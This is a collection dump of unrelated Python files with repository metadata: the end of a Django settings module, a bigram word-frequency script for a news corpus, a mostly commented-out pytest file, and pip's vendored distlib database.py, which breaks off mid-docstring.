'django.utils.log.RequireDebugFalse' } }, 'handlers': { 'mail_admins': { 'level': 'ERROR', 'filters': ['require_debug_false'], 'class': 'django.utils.log.AdminEmailHandler' } }, 'loggers': { 'django.request': { 'handlers': ['mail_admins'], 'level': 'ERROR', 'propagate': True, }, } } # Make this unique, and don't share it with anybody. # Setting a false value here and will overwrite using value in local_settings.py # SECURITY WARNING: keep the secret key used in production secret! SECRET_KEY = 'fake_value' # Get Local Settings that you want to keep private. # Make sure Local_settings.py is excluded from Git try: from local_settings import * except Exception as e: pass if DEBUG_SETTINGS: print "SECRET_KEY:%s" % SECRET_KEY print "================================================================" # SECURITY WARNING: keep the secret key used in production secret!

[ "mscrimshire@gmail.com" ]

mscrimshire@gmail.com

8cf52c690f77f0f49373c855c61be0a11742b5ad

50b2898f6631883f95efc109c99cda9e0e880d04

/WordFrequency/corpus2txt.py

9b06889e4835b377a8e34b3ac6b25fe754e8eab9

[]

no_license

choldawa/Word-Frequency

93ea1697f66309e95839040d752d598ec1403869

b6dc0ac2007c1a39e5c43d428fa0c2fff253e9df

refs/heads/master

2022-09-01T00:53:21.840451

2022-08-23T17:12:09

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import os, sys, re from datetime import datetime from collections import defaultdict N = 2 # the N of the n-gram DIR = "corpus/data-news" start_date = datetime.strptime('2015-11-26', "%Y-%m-%d") def is_valid_word(w): # our criteria to filter out non-words -- here we use a heuristic of must have a vowel and no numbers return 1 <= len(w) <= 12 and re.search(r"[aeiouy]", w) and not re.search(r"[0-9]", w) print("day word freq z") for pth in os.listdir(DIR): freq = defaultdict(int) # just for this file (which should be a single date), the frequencies of each word m = re.match('([0-9]{4}-[0-9]{2}-[0-9]{2}).txt', pth) #match the date format (to ensure we only process corpus files) if m: dt = m.groups(None)[0] day = (datetime.strptime(dt, "%Y-%m-%d") - start_date).days with open(DIR+"/"+pth, 'r') as f: for l in f: # split each line date, time, site, url, txt = re.split(r'\t', l) assert date == dt, "Date in filename does not match column! Something went wrong" txt = re.sub(r'\\n', r'\n', txt) # fix the newline encoding! txt = txt.lower() # collapse case #print txt words = re.findall(r'([a-z]+)', txt) words = filter(is_valid_word, words) #print words # loop through words to count up frequencies on this day for i in xrange(len(words)-N+1): chunk = words[i:(i+N)] #print chunk freq[' '.join(chunk)] += 1 # normalize within days z = sum(freq.values()) for k in sorted(freq.keys()): print(day, "\"%s\""%k, freq[k], z)

[ "cameron.holdaway@gmail.com" ]

cameron.holdaway@gmail.com

20458b659df53879f8ccfb9be42057918fd28340

16877121615a8a8f882a1f1bd43bad58a26b88f0

/api/test_try.py

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[]

no_license

LinaProg/wishlist

55282fc20176ef0a4b6e6da6fdd49a753e53fc24

175eb382743589009f465c7cef7ec2100657c120

refs/heads/master

2022-05-30T16:51:08.612131

2020-04-17T21:52:37

201,097,447

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null

2022-05-25T03:17:58

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# def func(x): # return x+1 # def test_answer(): # assert func(3) ==4 import pytest # def f(): # raise SystemExit(1) # def test_mytest(): # with pytest.raises(SyntaxError): # f() # def test_kek(): # assert 'foo neggs bar' == 'foo nspam bar' # class Person(): # def greet(): # return # @pytest.fixture # def person(): # return Person() # def test_greet(person): # greeting = Person.greet() # assert greeting == 'Hi there'

[ "linasmith69@yahoo.com" ]

linasmith69@yahoo.com

1c1876137f1c9717417fa9aeb3f2be22eb3301e0

47c964b21f4157d978b066f81124772abd15af7a

/venv/lib/python3.7/site-packages/pip-19.0.3-py3.7.egg/pip/_vendor/distlib/database.py

030df06db6a0def7039cd2fdd1c77039ceef308f

[]

no_license

hvsio/ScrapperController

ae483e207c5ac7a89690e235a80d94c86c5195e9

b05ab61e2e93cd396e6318a3eaf730101c2ae69f

refs/heads/master

2022-03-28T15:00:59.109049

2019-12-09T23:51:53

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# -*- coding: utf-8 -*- # # Copyright (C) 2012-2017 The Python Software Foundation. # See LICENSE.txt and CONTRIBUTORS.txt. # """PEP 376 implementation.""" from __future__ import unicode_literals import base64 import codecs import contextlib import hashlib import logging import os import posixpath import sys import zipimport from . import DistlibException, resources from .compat import StringIO from .version import get_scheme, UnsupportedVersionError from .metadata import (Metadata, METADATA_FILENAME, WHEEL_METADATA_FILENAME, LEGACY_METADATA_FILENAME) from .util import (parse_requirement, cached_property, parse_name_and_version, read_exports, write_exports, CSVReader, CSVWriter) __all__ = ['Distribution', 'BaseInstalledDistribution', 'InstalledDistribution', 'EggInfoDistribution', 'DistributionPath'] logger = logging.getLogger(__name__) EXPORTS_FILENAME = 'pydist-exports.json' COMMANDS_FILENAME = 'pydist-commands.json' DIST_FILES = ('INSTALLER', METADATA_FILENAME, 'RECORD', 'REQUESTED', 'RESOURCES', EXPORTS_FILENAME, 'SHARED') DISTINFO_EXT = '.dist-info' class _Cache(object): """ A simple cache mapping names and .dist-info paths to distributions """ def __init__(self): """ Initialise an instance. There is normally one for each DistributionPath. """ self.name = {} self.path = {} self.generated = False def clear(self): """ Clear the cache, setting it to its initial state. """ self.name.clear() self.path.clear() self.generated = False def add(self, dist): """ Add a distribution to the cache. :param dist: The distribution to add. """ if dist.path not in self.path: self.path[dist.path] = dist self.name.setdefault(dist.key, []).append(dist) class DistributionPath(object): """ Represents a set of distributions installed on a path (typically sys.path). """ def __init__(self, path=None, include_egg=False): """ Create an instance from a path, optionally including legacy (distutils/ setuptools/distribute) distributions. :param path: The path to use, as a list of directories. If not specified, sys.path is used. :param include_egg: If True, this instance will look for and return legacy distributions as well as those based on PEP 376. """ if path is None: path = sys.path self.path = path self._include_dist = True self._include_egg = include_egg self._cache = _Cache() self._cache_egg = _Cache() self._cache_enabled = True self._scheme = get_scheme('default') def _get_cache_enabled(self): return self._cache_enabled def _set_cache_enabled(self, value): self._cache_enabled = value cache_enabled = property(_get_cache_enabled, _set_cache_enabled) def clear_cache(self): """ Clears the internal cache. """ self._cache.clear() self._cache_egg.clear() def _yield_distributions(self): """ Yield .dist-info and/or .egg(-info) distributions. """ # We need to check if we've seen some resources already, because on # some Linux systems (e.g. some Debian/Ubuntu variants) there are # symlinks which alias other files in the environment. seen = set() for path in self.path: finder = resources.finder_for_path(path) if finder is None: continue r = finder.find('') if not r or not r.is_container: continue rset = sorted(r.resources) for entry in rset: r = finder.find(entry) if not r or r.path in seen: continue if self._include_dist and entry.endswith(DISTINFO_EXT): possible_filenames = [METADATA_FILENAME, WHEEL_METADATA_FILENAME, LEGACY_METADATA_FILENAME] for metadata_filename in possible_filenames: metadata_path = posixpath.join(entry, metadata_filename) pydist = finder.find(metadata_path) if pydist: break else: continue with contextlib.closing(pydist.as_stream()) as stream: metadata = Metadata(fileobj=stream, scheme='legacy') logger.debug('Found %s', r.path) seen.add(r.path) yield new_dist_class(r.path, metadata=metadata, env=self) elif self._include_egg and entry.endswith(('.egg-info', '.egg')): logger.debug('Found %s', r.path) seen.add(r.path) yield old_dist_class(r.path, self) def _generate_cache(self): """ Scan the path for distributions and populate the cache with those that are found. """ gen_dist = not self._cache.generated gen_egg = self._include_egg and not self._cache_egg.generated if gen_dist or gen_egg: for dist in self._yield_distributions(): if isinstance(dist, InstalledDistribution): self._cache.add(dist) else: self._cache_egg.add(dist) if gen_dist: self._cache.generated = True if gen_egg: self._cache_egg.generated = True @classmethod def distinfo_dirname(cls, name, version): """ The *name* and *version* parameters are converted into their filename-escaped form, i.e. any ``'-'`` characters are replaced with ``'_'`` other than the one in ``'dist-info'`` and the one separating the name from the version number. :parameter name: is converted to a standard distribution name by replacing any runs of non- alphanumeric characters with a single ``'-'``. :type name: string :parameter version: is converted to a standard version string. Spaces become dots, and all other non-alphanumeric characters (except dots) become dashes, with runs of multiple dashes condensed to a single dash. :type version: string :returns: directory name :rtype: string""" name = name.replace('-', '_') return '-'.join([name, version]) + DISTINFO_EXT def get_distributions(self): """ Provides an iterator that looks for distributions and returns :class:`InstalledDistribution` or :class:`EggInfoDistribution` instances for each one of them. :rtype: iterator of :class:`InstalledDistribution` and :class:`EggInfoDistribution` instances """ if not self._cache_enabled: for dist in self._yield_distributions(): yield dist else: self._generate_cache() for dist in self._cache.path.values(): yield dist if self._include_egg: for dist in self._cache_egg.path.values(): yield dist def get_distribution(self, name): """ Looks for a named distribution on the path. This function only returns the first result found, as no more than one value is expected. If nothing is found, ``None`` is returned. :rtype: :class:`InstalledDistribution`, :class:`EggInfoDistribution` or ``None`` """ result = None name = name.lower() if not self._cache_enabled: for dist in self._yield_distributions(): if dist.key == name: result = dist break else: self._generate_cache() if name in self._cache.name: result = self._cache.name[name][0] elif self._include_egg and name in self._cache_egg.name: result = self._cache_egg.name[name][0] return result def provides_distribution(self, name, version=None): """ Iterates over all distributions to find which distributions provide *name*. If a *version* is provided, it will be used to filter the results. This function only returns the first result found, since no more than one values are expected. If the directory is not found, returns ``None``. :parameter version: a version specifier that indicates the version required, conforming to the format in ``PEP-345`` :type name: string :type version: string """ matcher = None if version is not None: try: matcher = self._scheme.matcher('%s (%s)' % (name, version)) except ValueError: raise DistlibException('invalid name or version: %r, %r' % (name, version)) for dist in self.get_distributions(): # We hit a problem on Travis where enum34 was installed and doesn't # have a provides attribute ... if not hasattr(dist, 'provides'): logger.debug('No "provides": %s', dist) else: provided = dist.provides for p in provided: p_name, p_ver = parse_name_and_version(p) if matcher is None: if p_name == name: yield dist break else: if p_name == name and matcher.match(p_ver): yield dist break def get_file_path(self, name, relative_path): """ Return the path to a resource file. """ dist = self.get_distribution(name) if dist is None: raise LookupError('no distribution named %r found' % name) return dist.get_resource_path(relative_path) def get_exported_entries(self, category, name=None): """ Return all of the exported entries in a particular category. :param category: The category to search for entries. :param name: If specified, only entries with that name are returned. """ for dist in self.get_distributions(): r = dist.exports if category in r: d = r[category] if name is not None: if name in d: yield d[name] else: for v in d.values(): yield v class Distribution(object): """ A base class for distributions, whether installed or from indexes. Either way, it must have some metadata, so that's all that's needed for construction. """ build_time_dependency = False """ Set to True if it's known to be only a build-time dependency (i.e. not needed after installation). """ requested = False """A boolean that indicates whether the ``REQUESTED`` metadata file is present (in other words, whether the package was installed by user request or it was installed as a dependency).""" def __init__(self, metadata): """ Initialise an instance. :param metadata: The instance of :class:`Metadata` describing this distribution. """ self.metadata = metadata self.name = metadata.name self.key = self.name.lower() # for case-insensitive comparisons self.version = metadata.version self.locator = None self.digest = None self.extras = None # additional features requested self.context = None # environment marker overrides self.download_urls = set() self.digests = {} @property def source_url(self): """ The source archive download URL for this distribution. """ return self.metadata.source_url download_url = source_url # Backward compatibility @property def name_and_version(self): """ A utility property which displays the name and version in parentheses. """ return '%s (%s)' % (self.name, self.version) @property def provides(self): """ A set of distribution names and versions provided by this distribution. :return: A set of "name (version)" strings. """ plist = self.metadata.provides s = '%s (%s)' % (self.name, self.version) if s not in plist: plist.append(s) return plist def _get_requirements(self, req_attr): md = self.metadata logger.debug('Getting requirements from metadata %r', md.todict()) reqts = getattr(md, req_attr) return set(md.get_requirements(reqts, extras=self.extras, env=self.context)) @property def run_requires(self): return self._get_requirements('run_requires') @property def meta_requires(self): return self._get_requirements('meta_requires') @property def build_requires(self): return self._get_requirements('build_requires') @property def test_requires(self): return self._get_requirements('test_requires') @property def dev_requires(self): return self._get_requirements('dev_requires') def matches_requirement(self, req): """ Say if this instance matches (fulfills) a requirement. :param req: The requirement to match. :rtype req: str :return: True if it matches, else False. """ # Requirement may contain extras - parse to lose those # from what's passed to the matcher r = parse_requirement(req) scheme = get_scheme(self.metadata.scheme) try: matcher = scheme.matcher(r.requirement) except UnsupportedVersionError: # XXX compat-mode if cannot read the version logger.warning('could not read version %r - using name only', req) name = req.split()[0] matcher = scheme.matcher(name) name = matcher.key # case-insensitive result = False for p in self.provides: p_name, p_ver = parse_name_and_version(p) if p_name != name: continue try: result = matcher.match(p_ver) break except UnsupportedVersionError: pass return result def __repr__(self): """ Return a textual representation of this instance, """ if self.source_url: suffix = ' [%s]' % self.source_url else: suffix = '' return '<Distribution %s (%s)%s>' % (self.name, self.version, suffix) def __eq__(self, other): """ See if this distribution is the same as another. :param other: The distribution to compare with. To be equal to one another. distributions must have the same type, name, version and source_url. :return: True if it is the same, else False. """ if type(other) is not type(self): result = False else: result = (self.name == other.name and self.version == other.version and self.source_url == other.source_url) return result def __hash__(self): """ Compute hash in a way which matches the equality test. """ return hash(self.name) + hash(self.version) + hash(self.source_url) class BaseInstalledDistribution(Distribution): """ This is the base class for installed distributions (whether PEP 376 or legacy). """ hasher = None def __init__(self, metadata, path, env=None): """ Initialise an instance. :param metadata: An instance of :class:`Metadata` which describes the distribution. This will normally have been initialised from a metadata file in the ``path``. :param path: The path of the ``.dist-info`` or ``.egg-info`` directory for the distribution. :param env: This is normally the :class:`DistributionPath` instance where this distribution was found. """ super(BaseInstalledDistribution, self).__init__(metadata) self.path = path self.dist_path = env def get_hash(self, data, hasher=None): """ Get the hash of some data, using a particular hash algorithm, if specified. :param data: The data to be hashed. :type data: bytes :param hasher: The name of a hash implementation, supported by hashlib, or ``None``. Examples of valid values are ``'sha1'``, ``'sha224'``, ``'sha384'``, '``sha256'``, ``'md5'`` and ``'sha512'``. If no hasher is specified, the ``hasher`` attribute of the :class:`InstalledDistribution` instance is used. If the hasher is determined to be ``None``, MD5 is used as the hashing algorithm. :returns: The hash of the data. If a hasher was explicitly specified, the returned hash will be prefixed with the specified hasher followed by '='. :rtype: str """ if hasher is None: hasher = self.hasher if hasher is None: hasher = hashlib.md5 prefix = '' else: hasher = getattr(hashlib, hasher) prefix = '%s=' % self.hasher digest = hasher(data).digest() digest = base64.urlsafe_b64encode(digest).rstrip(b'=').decode('ascii') return '%s%s' % (prefix, digest) class InstalledDistribution(BaseInstalledDistribution): """ Created with the *path* of the ``.dist-info`` directory provided to the constructor. It reads the metadata contained in ``pydist.json`` when it is instantiated., or uses a passed in Metadata instance (useful for when dry-run mode is being used). """ hasher = 'sha256' def __init__(self, path, metadata=None, env=None): self.modules = [] self.finder = finder = resources.finder_for_path(path) if finder is None: raise ValueError('finder unavailable for %s' % path) if env and env._cache_enabled and path in env._cache.path: metadata = env._cache.path[path].metadata elif metadata is None: r = finder.find(METADATA_FILENAME) # Temporary - for Wheel 0.23 support if r is None: r = finder.find(WHEEL_METADATA_FILENAME) # Temporary - for legacy support if r is None: r = finder.find('METADATA') if r is None: raise ValueError('no %s found in %s' % (METADATA_FILENAME, path)) with contextlib.closing(r.as_stream()) as stream: metadata = Metadata(fileobj=stream, scheme='legacy') super(InstalledDistribution, self).__init__(metadata, path, env) if env and env._cache_enabled: env._cache.add(self) r = finder.find('REQUESTED') self.requested = r is not None p = os.path.join(path, 'top_level.txt') if os.path.exists(p): with open(p, 'rb') as f: data = f.read() self.modules = data.splitlines() def __repr__(self): return '<InstalledDistribution %r %s at %r>' % ( self.name, self.version, self.path) def __str__(self): return "%s %s" % (self.name, self.version) def _get_records(self): """ Get the list of installed files for the distribution :return: A list of tuples of path, hash and size. Note that hash and size might be ``None`` for some entries. The path is exactly as stored in the file (which is as in PEP 376). """ results = [] r = self.get_distinfo_resource('RECORD') with contextlib.closing(r.as_stream()) as stream: with CSVReader(stream=stream) as record_reader: # Base location is parent dir of .dist-info dir #base_location = os.path.dirname(self.path) #base_location = os.path.abspath(base_location) for row in record_reader: missing = [None for i in range(len(row), 3)] path, checksum, size = row + missing #if not os.path.isabs(path): # path = path.replace('/', os.sep) # path = os.path.join(base_location, path) results.append((path, checksum, size)) return results @cached_property def exports(self): """ Return the information exported by this distribution. :return: A dictionary of exports, mapping an export category to a dict of :class:`ExportEntry` instances describing the individual export entries, and keyed by name. """ result = {} r = self.get_distinfo_resource(EXPORTS_FILENAME) if r: result = self.read_exports() return result def read_exports(self): """ Read exports data from a file in config.ini format. :return: A dictionary of exports, mapping an export category to a list of :class:`ExportEntry` instances describing the individual export entries. """ result = {} r = self.get_distinfo_resource(EXPORTS_FILENAME) if r: with contextlib.closing(r.as_stream()) as stream: result = read_exports(stream) return result def write_exports(self, exports): """ Write a dictionary of exports to a file in config.ini format. :param exports: A dictionary of exports, mapping an export category to a list of :class:`ExportEntry` instances describing the individual export entries. """ rf = self.get_distinfo_file(EXPORTS_FILENAME) with open(rf, 'w') as f: write_exports(exports, f) def get_resource_path(self, relative_path): """ NOTE: This API may change in the future. Return the absolute path to a resource file with the given relative path. :param relative_path: The path, relative to .dist-info, of the resource of interest. :return: The absolute path where the resource is to be found. """ r = self.get_distinfo_resource('RESOURCES') with contextlib.closing(r.as_stream()) as stream: with CSVReader(stream=stream) as resources_reader: for relative, destination in resources_reader: if relative == relative_path: return destination raise KeyError('no resource file with relative path %r ' 'is installed' % relative_path) def list_installed_files(self): """ Iterates over the ``RECORD`` entries and returns a tuple ``(path, hash, size)`` for each line. :returns: iterator of (path, hash, size) """ for result in self._get_records(): yield result def write_installed_files(self, paths, prefix, dry_run=False): """ Writes the ``RECORD`` file, using the ``paths`` iterable passed in. Any existing ``RECORD`` file is silently overwritten. prefix is used to determine when to write absolute paths. """ prefix = os.path.join(prefix, '') base = os.path.dirname(self.path) base_under_prefix = base.startswith(prefix) base = os.path.join(base, '') record_path = self.get_distinfo_file('RECORD') logger.info('creating %s', record_path) if dry_run: return None with CSVWriter(record_path) as writer: for path in paths: if os.path.isdir(path) or path.endswith(('.pyc', '.pyo')): # do not put size and hash, as in PEP-376 hash_value = size = '' else: size = '%d' % os.path.getsize(path) with open(path, 'rb') as fp: hash_value = self.get_hash(fp.read()) if path.startswith(base) or (base_under_prefix and path.startswith(prefix)): path = os.path.relpath(path, base) writer.writerow((path, hash_value, size)) # add the RECORD file itself if record_path.startswith(base): record_path = os.path.relpath(record_path, base) writer.writerow((record_path, '', '')) return record_path def check_installed_files(self): """ Checks that the hashes and sizes of the files in ``RECORD`` are matched by the files themselves. Returns a (possibly empty) list of mismatches. Each entry in the mismatch list will be a tuple consisting of the path, 'exists', 'size' or 'hash' according to what didn't match (existence is checked first, then size, then hash), the expected value and the actual value. """ mismatches = [] base = os.path.dirname(self.path) record_path = self.get_distinfo_file('RECORD') for path, hash_value, size in self.list_installed_files(): if not os.path.isabs(path): path = os.path.join(base, path) if path == record_path: continue if not os.path.exists(path): mismatches.append((path, 'exists', True, False)) elif os.path.isfile(path): actual_size = str(os.path.getsize(path)) if size and actual_size != size: mismatches.append((path, 'size', size, actual_size)) elif hash_value: if '=' in hash_value: hasher = hash_value.split('=', 1)[0] else: hasher = None with open(path, 'rb') as f: actual_hash = self.get_hash(f.read(), hasher) if actual_hash != hash_value: mismatches.append((path, 'hash', hash_value, actual_hash)) return mismatches @cached_property def shared_locations(self): """ A dictionary of shared locations whose keys are in the set 'prefix', 'purelib', 'platlib', 'scripts', 'headers', 'data' and 'namespace'. The corresponding value is the absolute path of that category for this distribution, and takes into account any paths selected by the user at installation time (e.g. via command-line arguments). In the case of the 'namespace' key, this would be a list of absolute paths for the roots of namespace packages in this distribution. The first time this property is accessed, the relevant information is read from the SHARED file in the .dist-info directory. """ result = {} shared_path = os.path.join(self.path, 'SHARED') if os.path.isfile(shared_path): with codecs.open(shared_path, 'r', encoding='utf-8') as f: lines = f.read().splitlines() for line in lines: key, value = line.split('=', 1) if key == 'namespace': result.setdefault(key, []).append(value) else: result[key] = value return result def write_shared_locations(self, paths, dry_run=False): """ Write shared location information to the SHARED file in .dist-info. :param paths: A dictionary as described in the documentation for :meth:`shared_locations`. :param dry_run: If True, the action is logged but no file is actually written. :return: The path of the file written to. """ shared_path = os.path.join(self.path, 'SHARED') logger.info('creating %s', shared_path) if dry_run: return None lines = [] for key in ('prefix', 'lib', 'headers', 'scripts', 'data'): path = paths[key] if os.path.isdir(paths[key]): lines.append('%s=%s' % (key, path)) for ns in paths.get('namespace', ()): lines.append('namespace=%s' % ns) with codecs.open(shared_path, 'w', encoding='utf-8') as f: f.write('\n'.join(lines)) return shared_path def get_distinfo_resource(self, path): if path not in DIST_FILES: raise DistlibException('invalid path for a dist-info file: ' '%r at %r' % (path, self.path)) finder = resources.finder_for_path(self.path) if finder is None: raise DistlibException('Unable to get a finder for %s' % self.path) return finder.find(path) def get_distinfo_file(self, path): """ Returns a path located under the ``.dist-info`` directory. Returns a string representing the path. :parameter path: a ``'/'``-separated path relative to the ``.dist-info`` directory or an absolute path; If *path* is an absolute path and doesn't start with the ``.dist-info`` directory path, a :class:`DistlibException` is raised :type path: str :rtype: str """ # Check if it is an absolute path # XXX use relpath, add tests if path.find(os.sep) >= 0: # it's an absolute path? distinfo_dirname, path = path.split(os.sep)[-2:] if distinfo_dirname != self.path.split(os.sep)[-1]: raise DistlibException( 'dist-info file %r does not belong to the %r %s ' 'distribution' % (path, self.name, self.version)) # The file must be relative if path not in DIST_FILES: raise DistlibException('invalid path for a dist-info file: ' '%r at %r' % (path, self.path)) return os.path.join(self.path, path) def list_distinfo_files(self): """ Iterates over the ``RECORD`` entries and returns paths for each line if the path is pointing to a file located in the ``.dist-info`` directory or one of its subdirectories. :returns: iterator of paths """ base = os.path.dirname(self.path) for path, checksum, size in self._get_records(): # XXX add separator or use real relpath algo if not os.path.isabs(path): path = os.path.join(base, path) if path.startswith(self.path): yield path def __eq__(self, other): return (isinstance(other, InstalledDistribution) and self.path == other.path) # See http://docs.python.org/reference/datamodel#object.__hash__ __hash__ = object.__hash__ class EggInfoDistribution(BaseInstalledDistribution): """Created with the *path* of the ``.egg-info`` directory or file provided to the constructor. It reads the metadata contained in the file itself, or if the given path happens to be a directory, the metadata is read from the file ``PKG-INFO`` under that directory.""" requested = True # as we have no way of knowing, assume it was shared_locations = {} def __init__(self, path, env=None): def set_name_and_version(s, n, v): s.name = n s.key = n.lower() # for case-insensitive comparisons s.version = v self.path = path self.dist_path = env if env and env._cache_enabled and path in env._cache_egg.path: metadata = env._cache_egg.path[path].metadata set_name_and_version(self, metadata.name, metadata.version) else: metadata = self._get_metadata(path) # Need to be set before caching set_name_and_version(self, metadata.name, metadata.version) if env and env._cache_enabled: env._cache_egg.add(self) super(EggInfoDistribution, self).__init__(metadata, path, env) def _get_metadata(self, path): requires = None def parse_requires_data(data): """Create a list of dependencies from a requires.txt file. *data*: the contents of a setuptools-produced requires.txt file. """ reqs = [] lines = data.splitlines() for line in lines: line = line.strip() if line.startswith('['): logger.warning('Unexpected line: quitting requirement scan: %r', line) break r = parse_requirement(line) if not r: logger.warning('Not recognised as a requirement: %r', line) continue if r.extras: logger.warning('extra requirements in requires.txt are ' 'not supported') if not r.constraints: reqs.append(r.name) else: cons = ', '.join('%s%s' % c for c in r.constraints) reqs.append('%s (%s)' % (r.name, cons)) return reqs def parse_requires_path(req_path): """Create a list of dependencies from a requires.txt file. *req_path*: the path to a setuptools-produced requires.txt file. """ reqs = [] try: with codecs.open(req_path, 'r', 'utf-8') as fp: reqs = parse_requires_data(fp.read()) except IOError: pass return reqs tl_path = tl_data = None if path.endswith('.egg'): if os.path.isdir(path): p = os.path.join(path, 'EGG-INFO') meta_path = os.path.join(p, 'PKG-INFO') metadata = Metadata(path=meta_path, scheme='legacy') req_path = os.path.join(p, 'requires.txt') tl_path = os.path.join(p, 'top_level.txt') requires = parse_requires_path(req_path) else: # FIXME handle the case where zipfile is not available zipf = zipimport.zipimporter(path) fileobj = StringIO( zipf.get_data('EGG-INFO/PKG-INFO').decode('utf8')) metadata = Metadata(fileobj=fileobj, scheme='legacy') try: data = zipf.get_data('EGG-INFO/requires.txt') tl_data = zipf.get_data('EGG-INFO/top_level.txt').decode('utf-8') requires = parse_requires_data(data.decode('utf-8')) except IOError: requires = None elif path.endswith('.egg-info'): if os.path.isdir(path): req_path = os.path.join(path, 'requires.txt') requires = parse_requires_path(req_path) path = os.path.join(path, 'PKG-INFO') tl_path = os.path.join(path, 'top_level.txt') metadata = Metadata(path=path, scheme='legacy') else: raise DistlibException('path must end with .egg-info or .egg, ' 'got %r' % path) if requires: metadata.add_requirements(requires) # look for top-level modules in top_level.txt, if present if tl_data is None: if tl_path is not None and os.path.exists(tl_path): with open(tl_path, 'rb') as f: tl_data = f.read().decode('utf-8') if not tl_data: tl_data = [] else: tl_data = tl_data.splitlines() self.modules = tl_data return metadata def __repr__(self): return '<EggInfoDistribution %r %s at %r>' % ( self.name, self.version, self.path) def __str__(self): return "%s %s" % (self.name, self.version) def check_installed_files(self): """ Checks that the hashes and sizes of the files in ``RECORD`` are matched by the files themselves. Returns a (possibly empty) list of mismatches. Each entry in the mismatch list will be a tuple consisting of the path, 'exists', 'size' or 'hash' according to what didn't match (existence is checked first, then size, then hash), the expected value and the actual value. """ mismatches = [] record_path = os.path.join(self.path, 'installed-files.txt') if os.path.exists(record_path): for path, _, _ in self.list_installed_files(): if path == record_path: continue if not os.path.exists(path): mismatches.append((path, 'exists', True, False)) return mismatches def list_installed_files(self): """ Iterates over the ``installed-files.txt`` entries and returns a tuple ``(path, hash, size)`` for each line. :returns: a list of (path, hash, size) """ def _md5(path): f = open(path, 'rb') try: content = f.read() finally: f.close() return hashlib.md5(content).hexdigest() def _size(path): return os.stat(path).st_size record_path = os.path.join(self.path, 'installed-files.txt') result = [] if os.path.exists(record_path): with codecs.open(record_path, 'r', encoding='utf-8') as f: for line in f: line = line.strip() p = os.path.normpath(os.path.join(self.path, line)) # "./" is present as a marker between installed files # and installation metadata files if not os.path.exists(p): logger.warning('Non-existent file: %s', p) if p.endswith(('.pyc', '.pyo')): continue #otherwise fall through and fail if not os.path.isdir(p): result.append((p, _md5(p), _size(p))) result.append((record_path, None, None)) return result def list_distinfo_files(self, absolute=False): """ Iterates over the ``installed-files.txt`` entries and returns paths for each line if the path is pointing to a file located in the ``.egg-info`` directory or one of its subdirectories. :parameter absolute: If *absolute* is ``True``, each returned path is transformed into a local absolute path. Otherwise the raw value from ``installed-files.txt`` is returned. :type absolute: boolean :returns: iterator of paths """ record_path = os.path.join(self.path, 'installed-files.txt') if os.path.exists(record_path): skip = True with codecs.open(record_path, 'r', encoding='utf-8') as f: for line in f: line = line.strip() if line == './': skip = False continue if not skip: p = os.path.normpath(os.path.join(self.path, line)) if p.startswith(self.path): if absolute: yield p else: yield line def __eq__(self, other): return (isinstance(other, EggInfoDistribution) and self.path == other.path) # See http://docs.python.org/reference/datamodel#object.__hash__ __hash__ = object.__hash__ new_dist_class = InstalledDistribution old_dist_class = EggInfoDistribution class DependencyGraph(object): """ Represents a dependency graph between distributions. The dependency relationships are stored in an ``adjacency_list`` that maps distributions to a list of ``(other, label)`` tuples where ``other`` is a distribution and the edge is labeled with ``label`` (i.e. the version specifier, if such was provided). Also, for more efficient traversal, for every distribution ``x``, a list of predecessors is kept in ``reverse_list[x]``. An edge from distribution ``a`` to distribution ``b`` means that ``a`` depends on ``b``. If any missing dependencies are found, they are stored in ``missing``, which is a dictionary that maps distributions to a list of requirements that were not provided by any other distributions. """ def __init__(self): self.adjacency_list = {} self.reverse_list = {} self.missing = {} def add_distribution(self, distribution): """Add the *distribution* to the graph. :type distribution: :class:`distutils2.services.InstalledDistribution` or :class:`distutils2.services.EggInfoDistribution` """ self.adjacency_list[distribution] = [] self.reverse_list[distribution] = [] #self.missing[distribution] = [] def add_edge(self, x, y, label=None): """Add an edge from distribution *x* to distribution *y* with the given *label*. :type x: :class:`distutils2.services.InstalledDistribution` or :class:`distutils2.services.EggInfoDistribution` :type y: :class:`distutils2.services.InstalledDistribution` or :class:`distutils2.services.EggInfoDistribution` :type label: ``str`` or ``None`` """ self.adjacency_list[x].append((y, label)) # multiple edges are allowed, so be careful if x not in self.reverse_list[y]: self.reverse_list[y].append(x) def add_missing(self, distribution, requirement): """ Add a missing *requirement* for the given *distribution*. :type distribution: :class:`distutils2.services.InstalledDistribution` or :class:`distutils2.services.EggInfoDistribution` :type requirement: ``str`` """ logger.debug('%s missing %r', distribution, requirement) self.missing.setdefault(distribution, []).append(requirement) def _repr_dist(self, dist): return '%s %s' % (dist.name, dist.version) def repr_node(self, dist, level=1): """Prints only a subgraph""" output = [self._repr_dist(dist)] for other, label in self.adjacency_list[dist]: dist = self._repr_dist(other) if label is not None: dist = '%s [%s]' % (dist, label) output.append(' ' * level + str(dist)) suboutput = self.repr_node(other, level + 1) subs = suboutput.split('\n') output.extend(subs[1:]) return '\n'.join(output) def to_dot(self, f, skip_disconnected=True): """Writes a DOT output for the graph to the provided file *f*. If *skip_disconnected* is set to ``True``, then all distributions that are not dependent on any other distribution are skipped. :type f: has to support ``file``-like operations :type skip_disconnected: ``bool`` """ disconnected = [] f.write("digraph dependencies {\n") for dist, adjs in self.adjacency_list.items(): if len(adjs) == 0 and not skip_disconnected: disconnected.append(dist) for other, label in adjs: if not label is None: f.write('"%s" -> "%s" [label="%s"]\n' % (dist.name, other.name, label)) else: f.write('"%s" -> "%s"\n' % (dist.name, other.name)) if not skip_disconnected and len(disconnected) > 0: f.write('subgraph disconnected {\n') f.write('label = "Disconnected"\n') f.write('bgcolor = red\n') for dist in disconnected: f.write('"%s"' % dist.name) f.write('\n') f.write('}\n') f.write('}\n') def topological_sort(self): """ Perform a topological sort of the graph. :return: A tuple, the first element of which is a topologically sorted list of distributions, and the second element of which is a list of distributions that cannot be sorted because they have circular dependencies and so form a cycle. """ result = [] # Make a shallow copy of the adjacency list alist = {} for k, v in self.adjacency_list.items(): alist[k] = v[:] while True: # See what we can remove in this run to_remove = [] for k, v in list(alist.items())[:]: if not v: to_remove.append(k) del alist[k] if not to_remove: # What's left in alist (if anything) is a cycle. break # Remove from the adjacency list of others for k, v in alist.items(): alist[k] = [(d, r) for d, r in v if d not in to_remove] logger.debug('Moving to result: %s', ['%s (%s)' % (d.name, d.version) for d in to_remove]) result.extend(to_remove) return result, list(alist.keys()) def __repr__(self): """Representation of the graph""" output = [] for dist, adjs in self.adjacency_list.items(): output.append(self.repr_node(dist)) return '\n'.join(output) def make_graph(dists, scheme='default'): """Makes a dependency graph from the given distributions. :parameter dists: a list of distributions :type dists: list of 